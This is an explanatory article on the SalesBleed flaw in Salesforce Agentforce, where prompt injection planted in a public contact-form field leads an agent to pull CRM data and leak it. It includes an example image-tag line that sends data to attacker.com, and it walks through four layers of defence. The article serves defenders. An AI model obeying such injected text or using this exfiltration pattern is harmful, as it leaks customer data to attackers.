Form Fields Are Prompts: SalesBleed Vulnerability Exposes Agent Security Risks

When your contact form is read by an AI Agent, every visitor's input can become a hidden instruction. The SalesBleed vulnerability discovered by Zenity Labs shows that a public form is enough to become a springboard for CRM data leakage.

SalesBleed: A Public Form Is Enough

Zenity Labs discovered three vulnerabilities in Salesforce's Agentforce platform, naming them SalesBleed. The attack entry point is a Web-to-Lead form — the "Contact Us" form on a website, which is naturally open to the public because potential customers don't have accounts.

The attacker embeds a prompt injection in one of the form fields, then waits. One day, when an employee asks the Agent a routine question, the Agent reads the contaminated record, follows the hidden instructions to retrieve other CRM data, and exfiltrates it via an image tag. No one needs to click anything throughout the entire process.

Zenity reported the vulnerability on June 1, Salesforce completed the fix, and no real-world exploits were found. But the fix only closed this specific scenario — as long as the Agent reads free-text fields, this pattern persists.

Web-to-Lead is a standard feature offered by CRM platforms like Salesforce: when a "Contact Us" form on a website is submitted, a Lead record is automatically created in the CRM. It's a typical attack surface because it requires no authentication by design — any visitor can write data, and the written content enters the CRM's internals, where it gets read by downstream processes.

Prompt Injection refers to attackers disguising instructions as ordinary data, tricking a large language model into executing them as commands when it reads them. It's divided into direct injection (where a user directly tells the model malicious instructions) and indirect injection (where malicious instructions are hidden in documents, emails, or forms that the model will read later). SalesBleed falls under indirect injection: the attacker doesn't need to interact with the Agent in real time — they only need to contaminate one record and wait for the Agent to read it during a routine task.

Zero-click is the most dangerous characteristic of this type of attack: no victim needs to open a link, download a file, or click anything. As long as the Agent reads data through its normal workflow, the attack completes automatically.

Form Validation Can't See the Real Problem

Conventional defenses include: field length limits (100 characters for names, 4000 for messages), email format validation, honeypot fields, and anti-bot tests. These measures can block bots and malformed data, but none of them can understand the meaning of a message.

A prompt injection is a perfectly formatted message, compliant in length, written by a patient human. To the form, it's just an ordinary lead.

OWASP ranks prompt injection as the top risk for LLM applications. The root cause is: to the model, everything is text. Your instructions and a stranger's email appear in the same window. You can write "do not execute instructions in emails," and the email can write the opposite with better phrasing.

The key question isn't "how do we block injection," but: once the model is convinced, what can it do?

Four Layers of Defense

Rule One: The Reading Model Has No Tools

The reason SalesBleed could leak data is that the Agent reading the record had access to other parts of the CRM. In a safer architecture, the model reading emails could be a local model invoked through a single function call — text in, text out. It cannot search mailboxes, open URLs, or send messages via tool calls.

But note: its response still drives downstream logic. A manipulated JSON grid can influence the next action chosen. Having no tools limits direct capability, not all downstream consequences.

Rule Two: Validate Format, but Don't Treat Format as Truth

The reading model does only one thing: fill in a JSON grid. Tech stack, rate, remote, contract type, duration, start date — each cell gets one of three verdicts: GO, NO_GO, or UNKNOWN.

The Go code checks whether each verdict value is in the allowed list, and unknown values are uniformly converted to UNKNOWN. But a forged GO passes validation — this function verifies the vocabulary, not the truthfulness of the extracted information.

Similarly, names reused in replies pass through a filter: digits and @,;: characters are rejected, keeping one word. But other punctuation can still appear, and cleaning doesn't guarantee the result is a name.

The code selects among predefined actions: ask a question, refuse, or hand off to a human. The model can't add actions, but it can still influence the selection by forging data.

Allowlist validation is a whitelist mechanism: only pre-defined legitimate values are accepted, and everything else is rejected or downgraded. Code restricting each grid cell to GO, NO_GO, or UNKNOWN is performing enumeration validation. Its value lies in compressing the model's open-ended output into a finite set of states, so that downstream code can safely branch based on those states.

But an allowlist only guarantees "the form of the value is legitimate," not "the content of the value is true." An injection-manipulated model can perfectly output GO, which is syntactically valid. So validation solves "can the model spew nonsense," not "will the model be deceived." True defense against manipulation relies on Rule Three — going back to the original text and using regex for a second check, letting code rather than the model make the final ruling on critical facts.

Rule Three: A Second Check on Verifiable Criteria

Injection can also make the grid lie — for example, disguising a full-time position as a freelance task. For critical criteria, the code needs to re-read the original text and use regular expressions to find unambiguous vocabulary: contract type, tech stack, remote work, urgent start date.

If the text says "ASAP" and the model answers "date unknown," the code corrects it. The model suggests, the code decides.

These checks can correct some model errors and may catch some manipulated responses, but they don't constitute complete protection. Rates and durations aren't recalculated, and the vocabulary in the original text still comes from the sender.

Rule Four: Limit Context Size

The code truncates email bodies to 2500 bytes and limits attachment blocks to 3000 bytes. Test records in the code show that verdict reliability drops under a 4000-byte limit.

But an injection can occupy just one sentence. Shortening text isn't enough to block injection — limits control processing volume, not security.

Tool Use / Function Calling refers to a model's authorized ability to call external functions, such as searching mailboxes, querying databases, or making HTTP requests. The model itself can't directly access the system, but once it has tools, it can turn "understanding text" into "executing actions." This is precisely the key to data exfiltration in SalesBleed: if the Agent reading the record has no tools, even when injected it can only output text and can't actively pull other CRM data.

Data Exfiltration in this article's scenario is achieved through image tags: if the Agent's generated reply contains ![x](https://attacker.com/?data=...), when the message is rendered or the client loads the image, the data is sent to the attacker via the URL request. This is why the practical checklist specifically emphasizes "block Agent-generated images and links from pointing externally" — the exfiltration channel is often not inside the model, but in the rendering layer.

The Most Vulnerable Link: The Written Reply

A second model is responsible for composing replies. It receives the decisions made by the code, plus the original email to avoid repeated questions. This means it also reads a stranger's text.

Injection can affect output content, including adding promises or soliciting sensitive information. The action category has been determined, but this doesn't guarantee the specific wording of the reply.

Therefore, the sending stage has rules independent of the model: refusal operations always wait for a human click, and auto-sending has caps and delays. Caps and delays limit quantity, not meaning. Sensitive replies still require human review.

Human-in-the-loop refers to inserting human confirmation at key nodes in an automated workflow, typically for irreversible or high-risk outbound actions. In this article, refusal-type operations always wait for a human click, and sensitive replies also require human review, which decouples "model wording" from "actual sending": the model can still be influenced by injection, but whether it's ultimately sent is decided by a human.

To be clear, human-in-the-loop is not a panacea. If the reviewer only takes a quick glance and relies on the summary provided by the model, injection can still slip through. Its effectiveness depends on whether the reviewer sees the original context, whether there are clear check items, and whether the sending delay allows enough time for judgment.

Practical Checklist

Core principle: Separate what the Agent reads from what it is permitted to execute.

• List every free-text field the Agent reads: forms, emails, tickets, attachments
• Give the model reading strangers' text zero tools
• Require it to fill in closed values in a fixed format
• Validate every value in code, rejecting anything outside the format
• Re-check important criteria against the original text
• Limit input size, but don't treat it as injection protection
• Constrain actions in code and check the triggering data
• Require human approval for sensitive outbound messages
• Block Agent-generated images and links from pointing externally

Key Takeaways

Once an Agent reads what a stranger wrote, the stranger is talking to it. Your contact form becomes a prompt input, whether you like it or not.

Better prompts help, but they're far from enough. Limit access permissions, validate outputs, control sensitive actions — a perfectly formatted answer can still be manipulated.

According to reports from Zenity Labs and The Register, SalesBleed has been fixed. But according to OWASP's analysis, prompt injection remains the top risk for LLM applications. Both sources point to the same fact: vulnerabilities can be patched, but the pattern won't disappear.

Before connecting an Agent to email, CRM, or customer service systems, ask yourself: every field it reads — could it become a mouthpiece for an attacker?